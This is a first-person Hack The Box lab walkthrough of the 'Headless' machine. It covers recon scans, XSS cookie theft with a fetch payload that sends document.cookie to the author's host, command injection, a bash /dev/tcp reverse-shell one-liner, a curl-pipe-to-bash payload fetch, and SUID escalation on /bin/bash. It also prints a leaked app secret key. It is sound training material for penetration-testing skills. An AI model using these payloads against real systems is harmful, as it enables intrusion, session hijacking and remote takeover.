Headless Lab

Hack the Box Penetration Lab

Reconnaissance

First up, port scan:

┌──(zero㉿zero)-[~]
└─$ rustscan 10.10.11.8   
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
Faster Nmap scanning with Rust.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/zero/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.11.8:22
Open 10.10.11.8:5000
[~] Starting Nmap
[>] The Nmap command to be run is nmap -vvv -p 22,5000 10.10.11.8

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-10 16:25 PDT
Initiating Ping Scan at 16:25
Scanning 10.10.11.8 [2 ports]
Completed Ping Scan at 16:25, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:25
Completed Parallel DNS resolution of 1 host. at 16:25, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 16:25
Scanning 10.10.11.8 [2 ports]
Discovered open port 22/tcp on 10.10.11.8
Discovered open port 5000/tcp on 10.10.11.8
Completed Connect Scan at 16:25, 0.18s elapsed (2 total ports)
Nmap scan report for 10.10.11.8
Host is up, received conn-refused (0.098s latency).
Scanned at 2024-04-10 16:25:06 PDT for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
5000/tcp open  upnp    syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds

There are 2 open ports here, 22/ssh and 5000/upnp. A upnp is a universal plug and play protocol which is used for port forwarding.

I also ran an nmap scan to see if I could find a URL. The following result gave me something quite interesting:

|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Wed, 10 Apr 2024 23:37:39 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/

I will come back to that, but first I need to check the website itself. Since I couldn’t find an actual website address I tried navigating to the upnp port. Once there I found this webpage, it seems like this might be the landing page for a future website.

Press enter or click to view image in full size

Clicking the button “For questions” led to me this page:

Press enter or click to view image in full size

The next thing to do is to find any additional URLs that might be hiding, so I ran a Fuzzscan:

┌──(zero㉿zero)-[~]
└─$ feroxbuster -u http://10.10.11.8:5000 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -k
                                                                                                                                     
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.8:5000
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                                                   
200      GET       93l      179w     2363c http://10.10.11.8:5000/support
200      GET       96l      259w     2799c http://10.10.11.8:5000/
500      GET        5l       37w      265c http://10.10.11.8:5000/dashboard
[####################] - 4m     62283/62283   0s      found:3       errors:0      
[####################] - 4m     62282/62282   283/s   http://10.10.11.8:5000/

Okay so there seems to be a dashboard that I sadly can’t access when I navigate to it.

Next I searched for current vulnerabilities for the platforms that were running. Wekzeug(2.2.2) and Python(3.11.2). Wekzeug had some pretty interesting vulnerabilities, one VERY recent one for RCE (remote code execution) and a couple more that could trigger a DDoS attack. These didn’t seem to be useful for my needs so I moved on.

Python(3.11.2) had a URL Parse vulnerability that uses blank chars to get around blocklists set up by the host. I am not sure this is what I am after either, since there is no block list to get around her say (CVE-2023–24329).

There were 2 other exploits that I found that could potentially give me a foothold onto the system: CVE-2023–40217 and CVE-2023–27043. None of which resulted in anything of value.

Next I tried just using the support page to send a message to get shell access. Using this:

bash -c 'exec bash -i &>/dev/tcp/[IP]/[PORT]<&1'

Above is what I got back as a response. Whoops! So it looks like the comment box can actually take commands. So with this information plus the odd cookie value that I had gotten before, I needed to do some research.

The answer and potential vulnerability was with XSS to steal a cookie. After researching a fair bit this was the piece of code that would hopefully result in me getting stealing an admin cookie:

<img src=x onerror=fetch('http://[MY_IP]/?c='+document.cookie);>

The above code tries to create an image, with its source (src) being ‘x’. This would throw an error, since x isn’t an image format. Thus triggering the onerror portion of the code. This would then try and fetch something from my machine, but also send a cookie back to my machine as part of the fetch request.

┌──(zero㉿zero)-[~]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.8 - - [09/May/2024 10:46:35] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

This is the above response I got when intercepting the submit button request on the website. I did have to find a place to plant my payload in Burp Suite, I messed around with a few options before landing a successful entry in the User-Agent field. You can see this broken image in the below screenshot.

With this new cookie, I should now be able to log in to the websites back end as the admin.

Press enter or click to view image in full size

Permission elevation

I am learning a lot about Burpe Suite from this box. While digging a little more on how I could possibly get any further, I discovered that I could slam some commands in an intercepted packet to probe further.

Using this information I tried to get a reverse shell. However, this didn’t work. So I tried just some basic commands to see what I could find out.

I modified the date output. Putting a ; to end the line of code then adding whoami to see if I could get a response.

Seems like that worked! I am dvir!

Next I just needed to search for something I could use to get a foothold. I used sudo -l to see what perms I had and got this result:

My next step was to try and get root access or at least access to a shell on the server. I did this by uploading a shell file to the server using the above method of executing commands.

curl http://[IP]/shell.sh|bash

I used the above command to send and execute a shell in bash which granted me access to the system via my listener!

┌──(zero㉿zero)-[~]
└─$ netcat -lvnp 666
listening on [any] 666 ...
connect to [] from (UNKNOWN) [10.10.11.8] 33892
sh: 0: can't access tty; job control turned off
$ whoami
dvir
$

After a little poking around I managed to find the user flag! I also found an interesting line of code in one of the files called app.py.

app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'

I checked the permissions next to see what dvir could possibly run. It looks like it can run /usr/bin/syscheck. After looking into that file it seems it interacts with a file called initdb.sh.

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null

After the creation of the file was done, I would need to make /bin/bash executable and then have it accessable by myself. So I used the code below to do that, then ran syscheck using the perms I already had.

chmod +x /bin/bash
chmod u+s /bin/bash

Then after executing /bin/bash I had root permissions.

Press enter or click to view image in full size

After some more digging I found the root flag!

Conclusion

I learned a ton from this box. First and foremost was learning how to better use Burp Suite, being able to execute commands after intercepting a packet if the server on the other side allows. This was a large stepping stone in this box that taught me a lot. XSS cookie stealing was something that I had not come across before either, so learning how to do that was very interesting and I have taken many notes from doing so. I think one thing I struggle with a little is WHAT to look for and these easy boxes are teaching me that!

Overall a very fun box!

Last updated